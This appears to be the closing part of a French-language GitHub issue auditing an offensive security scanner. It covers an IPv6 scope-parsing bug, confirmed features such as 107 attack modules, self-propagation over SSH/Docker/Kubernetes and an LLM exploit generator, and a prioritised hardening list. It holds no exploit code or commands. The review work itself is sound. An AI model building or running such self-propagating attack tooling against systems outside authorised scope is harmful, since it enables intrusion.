Description : parse_hosts accepte ipaddress.ip_network(spec, strict=False) qui en théorie supporte IPv6, MAIS : (1) le regex _NETRANGE_RE ne matche pas la syntaxe IPv6 avec : ; (2) _host_of dans scope_guard.py gère [::1]:443 mais pas un CIDR 2001:db8::/32 en --scope (le parsing tok.split(":",1) casse). Donc en pratique --cidr 2001:db8::/64 échoue au parsing du target.

Recommandation : Étendre _NETRANGE_RE et _host_of pour supporter IPv6 bare et CIDR IPv6 en --scope/--cidr.


5. Vérifications positives (promesses tenues)

Promesse du README Statut Vérification
101-CVE offline feed ✅ VRAI data/cve/feed.json contient 101 records structurés
107 registered attack modules ✅ VRAI len(ALL_MODULES) = 107, tous avec run() réel, pas de stub
5 intensity tiers ✅ VRAI fuzz tier est triple-gated et anti-DoS par construction
Attack-chain correlation ✅ VRAI attack_chain.py : 20 règles ChainRule, testé dans test_attack_chain.py
360° lateral movement ✅ VRAI relay.py : 3 relais réels (Direct, Docker, Proxy), kubelet/k8s-api/ssh
Self-propagation ✅ VRAI 7 transports (Docker/kubelet/K8s API/SSH/ADB/aws-ssm/gcp-oslogin/azure-runcommand), auto-cleanup
10+ cloud providers ✅ VRAI OVH/Scaleway/OCI/DO/Hetzner/Linode/Vultr/Alibaba/Nutanix/Confluent, codés pas stubs
Multiple output formats ✅ VRAI console, JSON, Markdown, SARIF, HTML
CI gate with baseline ✅ VRAI --baseline, --fail-on-new-only, --fail-on (mais défaut trop sensible, cf. I6)

6. Priorisation des corrections

Immédiat (CRITICAL/HIGH sécurité)

  1. V1 — Valider le code LLM avant exécution (compile() + AST + resource.setrlimit dans triage)
  2. V2 — Supprimer la livraison DATA dans smtp_antispam ou reclasser en proof tier
  3. V3 — Validation AST (pas regex) du code LLM dans exploit_generator
  4. V4shlex.quote sur hostname/url dans relay.resolve/http_probe
  5. V5 — Ajouter une couche de redaction des secrets dans reporter.py
  6. V6 — Allow-list des clés SECTEST_* propagables
  7. BUG-1 — Corriger _parse_host_port pour gérer les URLs (urlparse)

Court terme (cohérence métier)

  1. I1 — Sérialiser le ScopeGuard dans la propagation + borne --scope <subnet> obligatoire
  2. I2 — Renommer --keep-credentials en --dangerously-keep-credentials + tracé dans le rapport
  3. I3 — Ajouter un bloc cleanup_commands au rapport pour tous les artefacts proof
  4. M2 — Module waf-detect (detective) + tag waf-blocked sur les findings
  5. BUG-2 — Fusionner le doublon DNS_TIMEOUT
  6. BUG-3_check_pkexec_pwnkit utiliser _is_suid

Moyen terme (qualité/robustesse)

  1. M1RequestBudget(per_host=True)
  2. I6 — Défaut --fail-on MEDIUM pour cibles live
  3. M3 — Retry/backoff dans netutil.py
  4. M4 — Support IPv6 réel dans --cidr et --scope
  5. V9scope_guard.authorize() exiger scope auto-dérivée non vide à intrusive+
  6. BUG-7start_new_session=True sur les subprocess tués au timeout
  7. BUG-16 — Failer le run si l'artefact JSON principal ne s'écrit pas

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions